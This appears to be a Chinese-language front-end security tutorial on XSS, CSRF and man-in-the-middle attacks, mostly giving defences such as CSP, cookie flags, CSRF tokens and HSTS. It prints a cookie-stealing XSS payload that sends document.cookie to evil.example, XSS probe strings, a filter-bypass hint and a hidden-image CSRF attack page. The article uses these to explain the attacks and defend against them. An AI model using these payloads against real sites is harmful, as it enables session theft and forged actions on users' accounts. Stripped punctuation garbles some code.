1. 項(xiàng)目概述一次安全排查引發(fā)的瀏覽器攻擊面梳理1.1 核心需求解析前陣子朋友公司的網(wǎng)站被“掛馬”了用戶反饋登錄后賬號(hào)莫名被改綁手機(jī)號(hào)后臺(tái)也出現(xiàn)了幾筆來(lái)源不明的訂單。我過(guò)去排查時(shí)發(fā)現(xiàn)問(wèn)題不是服務(wù)器被入侵而是出在最容易被忽略的瀏覽器這一環(huán)——頁(yè)面里被人悄悄注入了腳本把用戶的登錄態(tài)和操作指令全都“借”走了。這個(gè)事件讓我重新把前端安全完整梳理了一遍。很多人一提安全就想到后端防火墻、數(shù)據(jù)庫(kù)加密、服務(wù)器漏洞掃描但實(shí)際上瀏覽器側(cè)的安全問(wèn)題同樣致命而且因?yàn)樘N近業(yè)務(wù)代碼反而更容易被當(dāng)成“小問(wèn)題”放過(guò)。這篇文章就圍繞我這次排查和學(xué)習(xí)過(guò)程中反復(fù)對(duì)照過(guò)的三類典型攻擊展開(kāi)跨站腳本攻擊XSS、跨站請(qǐng)求偽造CSRF、中間人攻擊MITM。它們分別攻擊了瀏覽器信任鏈上的不同環(huán)節(jié)——腳本注入、身份復(fù)用、明文傳輸。如果你是剛?cè)胄械那岸碎_(kāi)發(fā)者這篇文章能幫你建立一條清晰的安全排查主線如果你已經(jīng)有幾年經(jīng)驗(yàn)但平時(shí)不太碰安全方向文里的檢測(cè)手法和防護(hù)落地清單也能直接拿去用在現(xiàn)有項(xiàng)目上。下文所有案例均基于脫敏后的模擬場(chǎng)景不涉及真實(shí)業(yè)務(wù)數(shù)據(jù)。1.2 三類攻擊的核心特征先放一個(gè)簡(jiǎn)短的總覽后面會(huì)逐一展開(kāi)。下面這張對(duì)比表是我在實(shí)際排查中反復(fù)用到的“快速分類法”——拿到一個(gè)安全事件先用三個(gè)問(wèn)題歸類數(shù)據(jù)是否被篡改請(qǐng)求是否被冒用傳輸是否被竊聽(tīng)攻擊類型攻擊鏈路位置核心受害者防御主線XSS瀏覽器頁(yè)面執(zhí)行層頁(yè)面上下文與用戶會(huì)話輸入輸出處理、CSPCSRF瀏覽器請(qǐng)求發(fā)起層用戶已登錄的身份憑證Token校驗(yàn)、SameSite中間人攻擊數(shù)據(jù)傳輸鏈路層通信內(nèi)容機(jī)密性與完整性HTTPS與證書(shū)校驗(yàn)三類攻擊的共性是它們都不“攻破”服務(wù)器本身而是利用瀏覽器與用戶之間默認(rèn)建立起的信任關(guān)系。具體來(lái)說(shuō)XSS靠惡意腳本“住進(jìn)”頁(yè)面拿到的是用戶的會(huì)話上下文相當(dāng)于偷走了你在網(wǎng)站里的“行為權(quán)”。CSRF靠偽造請(qǐng)求“借用”你的登錄態(tài)讓服務(wù)器以為是本人操作相當(dāng)于拿著你的門禁卡自己刷進(jìn)門。中間人攻擊則是在數(shù)據(jù)鏈路中做手腳穩(wěn)住你與服務(wù)器的“通話線”把明文內(nèi)容復(fù)制走再原樣遞交。理解了這張表后面的每一節(jié)都是對(duì)其中一行的展開(kāi)和實(shí)操化解讀。2. 項(xiàng)目正文詳解XSS攻擊的核心原理與實(shí)戰(zhàn)拆解2.1 XSS到底是怎么“住進(jìn)”頁(yè)面的跨站腳本攻擊的本質(zhì)是“未經(jīng)過(guò)濾的用戶輸入被當(dāng)成了代碼執(zhí)行”。我在復(fù)盤那起掛馬事件時(shí)第一眼看到的注入入口是一處搜索框——用戶輸入的搜索關(guān)鍵詞未經(jīng)任何處理直接通過(guò)字符串拼接被塞進(jìn)了HTML片段中然后由前端腳本通過(guò)innerHTML寫(xiě)回頁(yè)面。稍微說(shuō)起來(lái)有點(diǎn)繞我打個(gè)比方你就明白了。你把一段用戶留言當(dāng)成“純文本”收下但頁(yè)面在渲染時(shí)卻把它當(dāng)成了“HTML源碼”去解析。這個(gè)錯(cuò)位就是XSS存在的根基。舉一個(gè)最常見(jiàn)的反射型XSS例子// 模擬一段存在反射型XSS的代碼 app.get(/search, function(req, res) { var keyword req.query.q; // 問(wèn)題代碼直接把 keyword 拼進(jìn) HTML res.send(div您搜索的關(guān)鍵詞是 keyword /div); });如果攻擊者在地址欄傳入/search?qscriptdocument.locationhttps://evil.example/?cookiedocument.cookie/script那么用戶看到的頁(yè)面就變成了div您搜索的關(guān)鍵詞是scriptdocument.locationhttps://evil.example/?cookiedocument.cookie/script/div瀏覽器會(huì)執(zhí)行這段腳本把當(dāng)前域名的Cookie帶到攻擊者指定的服務(wù)器。聽(tīng)起來(lái)好像并不復(fù)雜但實(shí)際案例中攻擊者往往會(huì)把這段注入代碼編碼、拆分、混淆讓防御方的過(guò)濾規(guī)則形同虛設(shè)。2.2 三類XSS的實(shí)戰(zhàn)形態(tài)按觸發(fā)機(jī)制和存儲(chǔ)位置XSS可以拆成三種形態(tài)實(shí)戰(zhàn)中我會(huì)用不同手段去驗(yàn)證每一種。反射型XSS惡意腳本一次性“反射”在服務(wù)器的響應(yīng)中不落在數(shù)據(jù)庫(kù)里。前面那個(gè)搜索框例子就是典型。這種類型的特征是攻擊者必須誘導(dǎo)用戶點(diǎn)擊一條精心構(gòu)造的URL腳本才會(huì)執(zhí)行。存儲(chǔ)型XSS惡意腳本被持久化保存在服務(wù)器端比如寫(xiě)進(jìn)評(píng)論表、用戶昵稱字段、富文本內(nèi)容中任何用戶打開(kāi)包含該內(nèi)容的頁(yè)面都會(huì)中招。這是危害最嚴(yán)重的一種——攻擊者只需要提交一次就能持續(xù)感染所有訪問(wèn)者。我在那個(gè)掛馬事件里看到的最終注入鏈條就屬于存儲(chǔ)型腳本被藏在用戶資料的自定義簽名里管理員在后臺(tái)一打開(kāi)名單頁(yè)就“中招”。DOM型XSS嚴(yán)格說(shuō)它不走服務(wù)器端渲染環(huán)節(jié)而是前端JavaScript在讀取window.location、document.referrer、localStorage等內(nèi)容后把不可信數(shù)據(jù)直接傳給DOM操作API如innerHTML、document.write等。這類XSS最難被后端WAF識(shí)別因?yàn)楣糨d荷根本不需要經(jīng)過(guò)HTTP響應(yīng)體。檢測(cè)它往往要依賴瀏覽器的運(yùn)行時(shí)行為分析。三類XSS的對(duì)比可以這樣記類型惡意代碼駐留位置觸發(fā)方式危害面積反射型HTTP響應(yīng)一次性誘導(dǎo)點(diǎn)擊特制鏈接單用戶存儲(chǔ)型服務(wù)器數(shù)據(jù)庫(kù)持久任意用戶訪問(wèn)頁(yè)面全體訪問(wèn)者DOM型瀏覽器內(nèi)存/前端代碼前端邏輯動(dòng)態(tài)執(zhí)行取決于入口點(diǎn)2.3 我在實(shí)際排查中常用的XSS驗(yàn)證步驟確定攻擊入口是排查的關(guān)鍵。我的習(xí)慣是先做“黑盒探測(cè)”再做“源碼審計(jì)”把頁(yè)面上所有能輸入數(shù)據(jù)的地方全列出來(lái)包括搜索框、評(píng)論框、URL參數(shù)、上傳文件名、富文本內(nèi)容、自定義頭像URL等。這一步盡量用瀏覽器開(kāi)發(fā)者工具去觀察網(wǎng)絡(luò)面板把所有請(qǐng)求參數(shù)和響應(yīng)渲染都記錄下來(lái)。對(duì)每個(gè)輸入點(diǎn)依次提交無(wú)害探針字符串例如img srcx onerroralert(1)svg/onloadalert(1)javascript:alert(1)觀察頁(yè)面是否彈出對(duì)話框。我通常會(huì)在探針里附帶一個(gè)隨機(jī)標(biāo)志字符串比如xss-test-0421這樣在響應(yīng)和DOM中都能快速定位注入點(diǎn)是否“貫通”。當(dāng)確認(rèn)某處存在注入后再用document.cookie的實(shí)際竊取載荷替換探針看請(qǐng)求是否會(huì)被服務(wù)器過(guò)濾、編碼或截?cái)?。一個(gè)容易踩的坑是很多HTML實(shí)體過(guò)濾器會(huì)把、轉(zhuǎn)換成lt;、gt;導(dǎo)致注入失效。但如果你在src屬性中寫(xiě)script有些過(guò)濾規(guī)則只處理了尖括號(hào)卻沒(méi)有處理引號(hào)閉合依然存在被繞過(guò)的可能。所以我在測(cè)試時(shí)一定會(huì)同時(shí)提交包含引號(hào)、尖括號(hào)、單引號(hào)的混合載荷判斷過(guò)濾規(guī)則覆蓋范圍是否完整。2.4 XSS防御落地的三條主線第一道防線是輸出編碼。這里的關(guān)鍵是區(qū)分“上下文”——同樣是用戶輸入在HTML標(biāo)簽之間、在屬性值里、在JavaScript字符串中、在CSS中、在URL中原生場(chǎng)景下需要的編碼規(guī)則完全不同。統(tǒng)一用textContent替代innerHTML可以規(guī)避一大半常見(jiàn)問(wèn)題如果確實(shí)需要插入HTML片段必須使用成熟的DOM凈化庫(kù)處理標(biāo)簽白名單。第二道防線是內(nèi)容安全策略CSP。不加CSP的項(xiàng)目等于把整個(gè)頁(yè)面的腳本執(zhí)行權(quán)全部交給渲染結(jié)果。我在那個(gè)被掛馬的項(xiàng)目里配置的CSP是這樣一行的它直接切斷了最危險(xiǎn)的內(nèi)聯(lián)腳本執(zhí)行路徑Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none;這行策略的效果是什么我來(lái)解釋一下default-src self所有資源默認(rèn)只允許從同源地址加載。script-src self腳本也只允許從同源加載不允許內(nèi)聯(lián)腳本不允許eval()及其變種。object-src none禁止object、embed、applet這類插件加載封住歷史遺留的攻擊面。base-uri none禁止通過(guò)base標(biāo)簽改寫(xiě)頁(yè)面基礎(chǔ)鏈接。配置完成后還需要在地鐵上對(duì)業(yè)務(wù)做一輪回歸測(cè)試因?yàn)楹芏鄻I(yè)務(wù)的“動(dòng)態(tài)腳本加載”或“內(nèi)聯(lián)埋點(diǎn)”都會(huì)被打斷。我的建議是先以Content-Security-Policy-Report-Only模式發(fā)布一段時(shí)間觀察上報(bào)的違規(guī)記錄再逐步收緊。第三道防線是Cookie的HttpOnly與Secure標(biāo)記。把會(huì)話Cookie加上HttpOnly后JavaScript的document.cookie便無(wú)法讀取到它這層防護(hù)可以把“腳本竊取Cookie”這條路直接斷掉。Secure標(biāo)記則要求Cookie只能在HTTPS連接中傳輸避免被降級(jí)到明文后抓包。這里再補(bǔ)充一個(gè)我在實(shí)戰(zhàn)中總結(jié)的細(xì)節(jié)CSP并非越嚴(yán)越好。當(dāng)年我試過(guò)把script-src直接設(shè)成none結(jié)果網(wǎng)站自研的監(jiān)控腳本全部失效業(yè)務(wù)反饋蜂擁而至。正確做法是逐個(gè)梳理腳本來(lái)源能用外鏈文件就用外鏈文件把白名單收斂到最小集合這樣才能兼顧安全與業(yè)務(wù)。3. 項(xiàng)目正文詳解CSRF攻擊的核心原理與實(shí)戰(zhàn)拆解3.1 攻擊者的“借刀殺人”是怎么得手的跨站請(qǐng)求偽造CSRF的邏輯和XSS完全不同——它不直接讀取頁(yè)面數(shù)據(jù)而是利用瀏覽器自動(dòng)攜帶Cookie的行為在用戶不知情的前提下以用戶身份向服務(wù)器發(fā)送偽造請(qǐng)求。我在排查后臺(tái)異常訂單時(shí)看到一種非常典型的CSRF攻擊鏈管理員正在后臺(tái)正常瀏覽攻擊者在另一個(gè)頁(yè)面嵌入了一張圖片或一段自動(dòng)提交的腳本當(dāng)管理員的瀏覽器加載這個(gè)第三方頁(yè)面時(shí)請(qǐng)求會(huì)被發(fā)往后臺(tái)站點(diǎn)的某個(gè)接口比如改綁手機(jī)號(hào)、重置密碼流程中的校驗(yàn)接口而瀏覽器會(huì)乖乖把管理員的會(huì)話Cookie一并帶上。服務(wù)器從Cookie中識(shí)別出“這是已登錄用戶”便放行了這次請(qǐng)求。把CSRF的本質(zhì)再壓縮一下服務(wù)器無(wú)法區(qū)分這個(gè)請(qǐng)求是“用戶本人在當(dāng)前頁(yè)面發(fā)起的”還是“來(lái)源頁(yè)面?zhèn)卧旌笕o瀏覽器的”因?yàn)閮烧咴谡?qǐng)求頭和Cookie層面看起來(lái)完全一致。3.2 一次完整的CSRF模擬復(fù)現(xiàn)為了驗(yàn)證和演示我在本機(jī)構(gòu)建了一個(gè)簡(jiǎn)單的支付確認(rèn)接口模擬場(chǎng)景!-- 攻擊者頁(yè)面等待受害者登錄目標(biāo)站后訪問(wèn) -- html body h1限時(shí)免費(fèi)抽獎(jiǎng)點(diǎn)擊領(lǐng)取/h1 img src/api/order/confirm?orderId20240421001 width0 height0 /body /html受害者只要在瀏覽器里已經(jīng)登錄了目標(biāo)站點(diǎn)并且此時(shí)打開(kāi)了上述攻擊頁(yè)面瀏覽器就會(huì)向/api/order/confirm發(fā)出一次GET請(qǐng)求同時(shí)攜帶該域名下的有效Cookie。如果目標(biāo)站點(diǎn)的這個(gè)接口是用GET方式接受操作指令的那訂單確認(rèn)的操作就會(huì)被“無(wú)聲無(wú)息”地完成。實(shí)戰(zhàn)中更常見(jiàn)的CSRF載體還包括隱藏的form表單配合autocompleteoff自動(dòng)提交跨域fetch或XMLHttpRequest對(duì)簡(jiǎn)單請(qǐng)求如表單類型application/x-www-form-urlencoded的自動(dòng)攜帶各類帶有狀態(tài)變更副作用的URL。所以我在自己的項(xiàng)目中有一條硬性規(guī)范所有有副作用的操作增刪改、狀態(tài)流轉(zhuǎn)、支付確認(rèn)一律禁止使用GET請(qǐng)求必須用POST并且配合校驗(yàn)Token。3.3 CSRF的三種主流防御方案對(duì)比最常見(jiàn)的方案是CSRF Token校驗(yàn)。服務(wù)器在渲染頁(yè)面時(shí)生成一個(gè)隨機(jī)Token寫(xiě)入隱藏字段或meta標(biāo)簽前端提交請(qǐng)求時(shí)帶上該Token服務(wù)器端比對(duì)通過(guò)后再執(zhí)行操作。由于攻擊者無(wú)法在第三方頁(yè)面中讀取目標(biāo)站的Token偽造請(qǐng)求就失去了“通行證”。第二種方案是SameSite屬性。給Cookie加上SameSiteLax之后瀏覽器只在“頂級(jí)導(dǎo)航”等嚴(yán)格受控的場(chǎng)景下攜帶Cookie跨站子請(qǐng)求默認(rèn)不帶。這個(gè)方案對(duì)絕大多數(shù)業(yè)務(wù)是“無(wú)痛”的我實(shí)際配置后的兼容性問(wèn)題也最少。第三種方案是校驗(yàn)請(qǐng)求來(lái)源。檢查Origin頭或Referer頭判斷請(qǐng)求是否來(lái)自本域。這一招對(duì)簡(jiǎn)單請(qǐng)求有效但需要注意Referer可能因隱私策略被剝離Origin在某些同源請(qǐng)求中也可能為空。所以它一般作為輔助防線不單獨(dú)承擔(dān)全部責(zé)任。防御方案實(shí)施成本對(duì)現(xiàn)有業(yè)務(wù)的入侵性推薦場(chǎng)景CSRF Token中需要前后端配合改造所有有登錄態(tài)的后臺(tái)系統(tǒng)SameSite低僅需設(shè)置Cookie屬性普通業(yè)務(wù)站點(diǎn)、前后端分離場(chǎng)景Origin/Referer校驗(yàn)低中間層校驗(yàn)即可接口網(wǎng)關(guān)、API網(wǎng)關(guān)統(tǒng)一兜底以我與朋友那個(gè)被掛馬的項(xiàng)目來(lái)舉一反三那次排查中發(fā)現(xiàn)后臺(tái)部分接口只有登錄校驗(yàn)沒(méi)有任何CSRF防護(hù)。修的時(shí)候我直接做了兩件事——所有狀態(tài)變更接口改為POSTToken校驗(yàn)同時(shí)統(tǒng)一給全部登錄Cookie追加了SameSiteLax屬性。上線后我又用csrf-audit類工具掃描了一遍才算收尾。4. 項(xiàng)目正文詳解中間人攻擊的核心原理與實(shí)戰(zhàn)拆解4.1 不是只有跳轉(zhuǎn)HTTP才算中間人中間人攻擊MITM的主角是“鏈路”。攻擊者在瀏覽器和服務(wù)器之間的任何一跳網(wǎng)絡(luò)節(jié)點(diǎn)上都可以截獲、篡改、轉(zhuǎn)發(fā)數(shù)據(jù)包。對(duì)前端來(lái)說(shuō)最能感知到的場(chǎng)景是訪問(wèn)一個(gè)沒(méi)有啟用HTTPS的站點(diǎn)、或者是HTTPS證書(shū)異常但仍被用戶強(qiáng)制繼續(xù)訪問(wèn)的頁(yè)面此時(shí)所有上行和下行的明文內(nèi)容都在“裸奔”。我在排查那起安全事件時(shí)就發(fā)現(xiàn)管理后臺(tái)在登錄接口上是HTTP明文傳輸?shù)摹ｋm然內(nèi)網(wǎng)訪問(wèn)時(shí)看起來(lái)沒(méi)太大問(wèn)題但只要在辦公區(qū)WiFi做過(guò)一次抓包管理員賬號(hào)密碼就完全暴露了。這提醒了我一件事中間人攻擊并不要求攻擊者具備“黑客級(jí)”技術(shù)能力很多時(shí)候就是一個(gè)在公共網(wǎng)絡(luò)節(jié)點(diǎn)上安裝了抓包工具的人。攻擊者具體能做哪些事情我給你列一個(gè)常見(jiàn)的MITM動(dòng)作清單被動(dòng)竊聽(tīng)截取明文傳輸?shù)馁~號(hào)密碼、Cookie、聊天記錄主動(dòng)篡改替換頁(yè)面中的JS文件、插入惡意腳本、替換下載鏈接會(huì)話劫持拿到會(huì)話Cookie后冒充用戶繼續(xù)與服務(wù)器交互降級(jí)攻擊把HTTPS請(qǐng)求強(qiáng)制降級(jí)為HTTP誘導(dǎo)用戶使用明文通道。4.2 HTTPS部署與HSTS的配合阻斷中間人攻擊的基石是啟用全站HTTPS。但這里有一個(gè)容易理解錯(cuò)的點(diǎn)“只要用了HTTPS就安全了”這句話不嚴(yán)謹(jǐn)。只有滿足以下條件的HTTPS鏈路才基本可對(duì)抗MITM服務(wù)器端正確配置了有效證書(shū)非自簽名、非過(guò)期站點(diǎn)在全站范圍內(nèi)強(qiáng)制跳轉(zhuǎn)HTTPS不允許HTTP回退證書(shū)鏈完整用戶端沒(méi)有任何“忽略證書(shū)錯(cuò)誤”的提示。在部署階段我會(huì)用以下指標(biāo)來(lái)檢查- TLS版本 1.2 - 證書(shū)信任鏈完整 - 已啟用HSTS - 證書(shū)過(guò)期前有自動(dòng)續(xù)期提醒通常使用ACME協(xié)議自動(dòng)簽發(fā)HSTSHTTP嚴(yán)格傳輸安全是一個(gè)容易漏掉的關(guān)鍵頭部。它的作用是告訴瀏覽器這個(gè)域名在指定時(shí)間內(nèi)只能通過(guò)HTTPS訪問(wèn)任何HTTP請(qǐng)求都應(yīng)在客戶端側(cè)被阻止。這可以防止攻擊者在用戶首次訪問(wèn)時(shí)就搶先把請(qǐng)求引到HTTP通道上。配置示例Strict-Transport-Security: max-age63072000; includeSubDomains; preload這段配置的含義是有效期兩年子域名同樣生效并申請(qǐng)加入瀏覽器內(nèi)置的HSTS預(yù)載列表。需要提醒一句HSTS一旦在瀏覽器中生效如果站點(diǎn)后續(xù)需要回退到HTTP比如臨時(shí)調(diào)試短時(shí)間內(nèi)會(huì)比較棘手。所以建議先在測(cè)試環(huán)境驗(yàn)證或者從較短的max-age開(kāi)始逐步增加。還有一個(gè)前端開(kāi)發(fā)中很重要的細(xì)節(jié)頁(yè)面中引用的一切資源包括圖片、腳本、樣式、字體、XHR接口必須全部走HTTPS不允許出現(xiàn)“頁(yè)面是HTTPS但某個(gè)資源仍用HTTP加載”的混合內(nèi)容情況。瀏覽器對(duì)混合內(nèi)容的處理策略很嚴(yán)格普通生產(chǎn)環(huán)境的混合腳本會(huì)被直接阻止不做降級(jí)。4.3 證書(shū)異常的正確處理方式我見(jiàn)過(guò)不少團(tuán)隊(duì)在開(kāi)發(fā)和測(cè)試階段為了省事直接關(guān)閉了瀏覽器的證書(shū)校驗(yàn)這個(gè)習(xí)慣非常危險(xiǎn)。一旦瀏覽器記住“這個(gè)域名可以繞過(guò)證書(shū)校驗(yàn)”后續(xù)面對(duì)真正的中間人攻擊時(shí)就毫無(wú)感知了。正確做法是開(kāi)發(fā)環(huán)境可以考慮自建內(nèi)部證書(shū)并導(dǎo)入本機(jī)信任鏈如果確實(shí)需要臨時(shí)忽略證書(shū)應(yīng)在專用測(cè)試域名下進(jìn)行且保持瀏覽器默認(rèn)配置。千萬(wàn)不要在生產(chǎn)站點(diǎn)上誘導(dǎo)用戶點(diǎn)擊“繼續(xù)前往”按鈕。給讀者一個(gè)自查建議——打開(kāi)瀏覽器開(kāi)發(fā)者工具的“安全”面板能看到當(dāng)前站點(diǎn)的證書(shū)信息。定期檢查證書(shū)有效期和簽發(fā)機(jī)構(gòu)一旦發(fā)現(xiàn)證書(shū)異常比如突然被替換要立刻警惕是否正處于一次主動(dòng)型中間人攻擊中。5. 綜合防護(hù)體系搭建從單點(diǎn)修補(bǔ)到縱深防御5.1 不同攻擊面需要一個(gè)統(tǒng)一的“安全清單”單獨(dú)修一處XSS、加一道CSP、開(kāi)一下HTTPS是不夠的。真正的安全能力來(lái)自多層防線同時(shí)生效——就算某一層被繞過(guò)了下一層還能兜底。我把這套思路整理成一份可以直接抄作業(yè)的安全檢查清單分為“開(kāi)發(fā)期”“上線前”“持續(xù)運(yùn)行”三個(gè)階段開(kāi)發(fā)期所有動(dòng)態(tài)渲染內(nèi)容默認(rèn)按“不可信數(shù)據(jù)處理”先編碼再插入用戶輸入、URL參數(shù)、Referer等內(nèi)容進(jìn)入DOM或請(qǐng)求前明確區(qū)分“數(shù)據(jù)”與“可執(zhí)行代碼”禁止使用eval()、new Function()處理不可信字符串所有外部鏈接如跳轉(zhuǎn)URL做白名單校驗(yàn)防止javascript:協(xié)議注入。上線前全站接通HTTPS配置HSTS部署CSP先Report-Only模式觀察再?gòu)?qiáng)制生效狀態(tài)變更接口全部使用POSTCSRF Token給所有敏感Cookie追加HttpOnly、Secure、SameSiteLax屬性。持續(xù)運(yùn)行定期用掃描工具檢測(cè)已發(fā)現(xiàn)漏洞的修復(fù)狀態(tài)關(guān)注第三方依賴庫(kù)的安全公告及時(shí)升級(jí)關(guān)鍵業(yè)務(wù)操作登錄、改密、支付增加二次校驗(yàn)降低單點(diǎn)失效時(shí)的影響。5.2 前后端配合的落地建議說(shuō)到底前端安全無(wú)法脫離后端獨(dú)立生效。我在那個(gè)掛馬項(xiàng)目的復(fù)盤報(bào)告里給團(tuán)隊(duì)寫(xiě)了幾條協(xié)作規(guī)范后端不能信任前端傳來(lái)的任何身份標(biāo)識(shí)關(guān)鍵操作必須重新校驗(yàn)當(dāng)前會(huì)話前端收到后端響應(yīng)時(shí)要能識(shí)別異常情況比如返回的頁(yè)面結(jié)構(gòu)、腳本來(lái)源發(fā)生突變敏感信息的存儲(chǔ)僅保留在會(huì)話內(nèi)不落localStorage防止XSS一穿到底上線前安排一次“紅藍(lán)模擬”由團(tuán)隊(duì)的某位同事扮演攻擊者針對(duì)搜索框、評(píng)論框、登錄表單和支付流程做一輪滲透嘗試。這個(gè)做法成本不高但往往能挖出意想不到的漏洞。5.3 效果評(píng)估從“出事了才修”到“上線前已知風(fēng)險(xiǎn)”安全工作的收益不是直觀的“功能上線”而是“風(fēng)險(xiǎn)表上的數(shù)字下降”。我習(xí)慣在每個(gè)迭代周期里維護(hù)一張風(fēng)險(xiǎn)清單比如“XSS高風(fēng)險(xiǎn)點(diǎn)數(shù)量”“CSRF未防護(hù)接口數(shù)量”用這些數(shù)字來(lái)量化安全改進(jìn)的效果。部署完CSP并強(qiáng)制HTTPS后我通過(guò)瀏覽器控制臺(tái)和網(wǎng)絡(luò)面板觀察過(guò)一段時(shí)間主動(dòng)注入和參考者被劫持的日志明顯減少這種“可感知的收斂”給團(tuán)隊(duì)帶來(lái)了很大的信心。6. 常見(jiàn)問(wèn)題與排查技巧實(shí)錄寫(xiě)到這里我把這些年踩過(guò)的坑整理成一份排查速查表方便你直接對(duì)照自己的項(xiàng)目去驗(yàn)證現(xiàn)象可能原因快速驗(yàn)證方法修復(fù)方案頁(yè)面彈出未知對(duì)話框用戶輸入未轉(zhuǎn)義被注入執(zhí)行搜索“CSP違規(guī)上報(bào)”或監(jiān)控onerror輸出編碼CSP登錄態(tài)被異地使用Cookie被竊取或會(huì)話固定查看Cookie是否有HttpOnly標(biāo)記加HttpOnly會(huì)話綁定訂單/設(shè)置被莫名變更CSRF或XSS會(huì)話劫持檢查狀態(tài)變更接口是否校驗(yàn)Token改POSTToken鏈接欄出現(xiàn)HTTPS警告證書(shū)過(guò)期或鏈不完整查看證書(shū)詳情、檢查服務(wù)器配置續(xù)期/補(bǔ)全證書(shū)鏈混合內(nèi)容被瀏覽器攔截頁(yè)面資源仍走HTTP用開(kāi)發(fā)者工具查看Network中的資源協(xié)議全站資源切HTTPS頁(yè)面腳本被CSP誤殺CSP配置過(guò)嚴(yán)切換到Report-Only模式看上報(bào)放行必要腳本源6.1 排查實(shí)戰(zhàn)中的三個(gè)高頻“隱蔽坑”第一個(gè)坑是“編碼上下文”混淆。很多過(guò)濾函數(shù)只處理了尖括號(hào)或引號(hào)但沒(méi)有針對(duì)不同上下文做差異化編碼。比如在JavaScript字符串中注入\x3cscript\x3e就能繞過(guò)正則檢測(cè)。這個(gè)問(wèn)題的根治辦法不是寫(xiě)更復(fù)雜的正則而是盡量用框架自帶的自動(dòng)轉(zhuǎn)義機(jī)制少用innerHTML。第二個(gè)坑是“CSP部署后閃現(xiàn)大量誤殺”。我個(gè)人的經(jīng)驗(yàn)是CSP的Report-Only模式至少保留一周把業(yè)務(wù)方所有依賴內(nèi)聯(lián)腳本的場(chǎng)景全部梳理清楚再開(kāi)啟強(qiáng)制模式。不要急著一步到位寧可先放行一部分不關(guān)鍵的內(nèi)聯(lián)腳本也不要把業(yè)務(wù)搞掛。第三個(gè)坑是“只修了前端沒(méi)修后端”。XSS的最終目標(biāo)是后端數(shù)據(jù)的讀寫(xiě)如果后端接口沒(méi)有做必要的輸入長(zhǎng)度限制和內(nèi)容校驗(yàn)前端即使做了輸出編碼攻擊者依然可以構(gòu)造超長(zhǎng)參數(shù)或特殊Content-Type繞到后端邏輯中。安全整改一定要前后端同步缺一環(huán)都會(huì)前功盡棄。6.2 一個(gè)小而有效的日常自檢習(xí)慣最后分享一個(gè)特別輕量的日常自檢方法每次完成一個(gè)新頁(yè)面后打開(kāi)瀏覽器控制臺(tái)輸入以下代碼看是否能直接讀取當(dāng)前頁(yè)面的會(huì)話信息console.log(document.cookie);如果這行代碼在控制臺(tái)輸出了一大串敏感的會(huì)話標(biāo)識(shí)說(shuō)明這些Cookie都沒(méi)有設(shè)置HttpOnly立刻去改?？刂婆_(tái)是前端開(kāi)發(fā)者每天都在用的工具把“安全意識(shí)”融入日常操作遠(yuǎn)比每個(gè)季度做一次大規(guī)模掃描更能防微杜漸。7. 實(shí)操心得與后續(xù)擴(kuò)展7.1 我的安全測(cè)試“三步走”以我處理那個(gè)后臺(tái)安全事件的完整流程來(lái)看收尾階段的驗(yàn)證工作通常分三步用干凈的瀏覽器環(huán)境無(wú)緩存、無(wú)插件部署全部修復(fù)項(xiàng)按攻擊者的視角去操作一遍“搜索特殊字符串、提交帶引號(hào)的表單、訪問(wèn)歷史遺留HTTP地址”打開(kāi)瀏覽器開(kāi)發(fā)者工具的“網(wǎng)絡(luò)”面板逐條檢查資源的協(xié)議和域名來(lái)源確認(rèn)真實(shí)線上環(huán)境已無(wú)“裸奔”請(qǐng)求。這每一步執(zhí)行起來(lái)都不依賴昂貴的安全工具但能覆蓋絕大多數(shù)中小型前端項(xiàng)目的安全基線。7.2 后續(xù)路線從“打補(bǔ)丁”走向“安全設(shè)計(jì)”我個(gè)人的體會(huì)是前端安全能力的提升不是靠一次“大整改”完成的而是靠每寫(xiě)一行代碼時(shí)多問(wèn)一句“這段輸入如果被注入會(huì)發(fā)生什么”來(lái)沉淀的。后續(xù)團(tuán)隊(duì)還可以往幾個(gè)方向深入建立組件級(jí)的安全默認(rèn)值所有自定義輸入組件默認(rèn)過(guò)濾、引入瀏覽器端錯(cuò)誤監(jiān)控來(lái)捕捉潛在的注入嘗試、把安全測(cè)試納入到自動(dòng)化流程中。這些擴(kuò)展方向我在模擬項(xiàng)目X里已經(jīng)驗(yàn)證過(guò)收益是明顯的——新頁(yè)面從開(kāi)發(fā)到上線需要手動(dòng)修復(fù)的安全問(wèn)題數(shù)量顯著下降團(tuán)隊(duì)的安全意識(shí)也提升了不只一個(gè)檔位。如果說(shuō)有什么最想提醒你留意的那就是別把安全當(dāng)成上線前的臨時(shí)動(dòng)作它是整個(gè)開(kāi)發(fā)習(xí)慣的一部分。每次寫(xiě)完一段涉及用戶輸入或網(wǎng)絡(luò)請(qǐng)求的代碼順手用上文那套清單快速過(guò)一遍比后面排查一夜來(lái)得省心得多。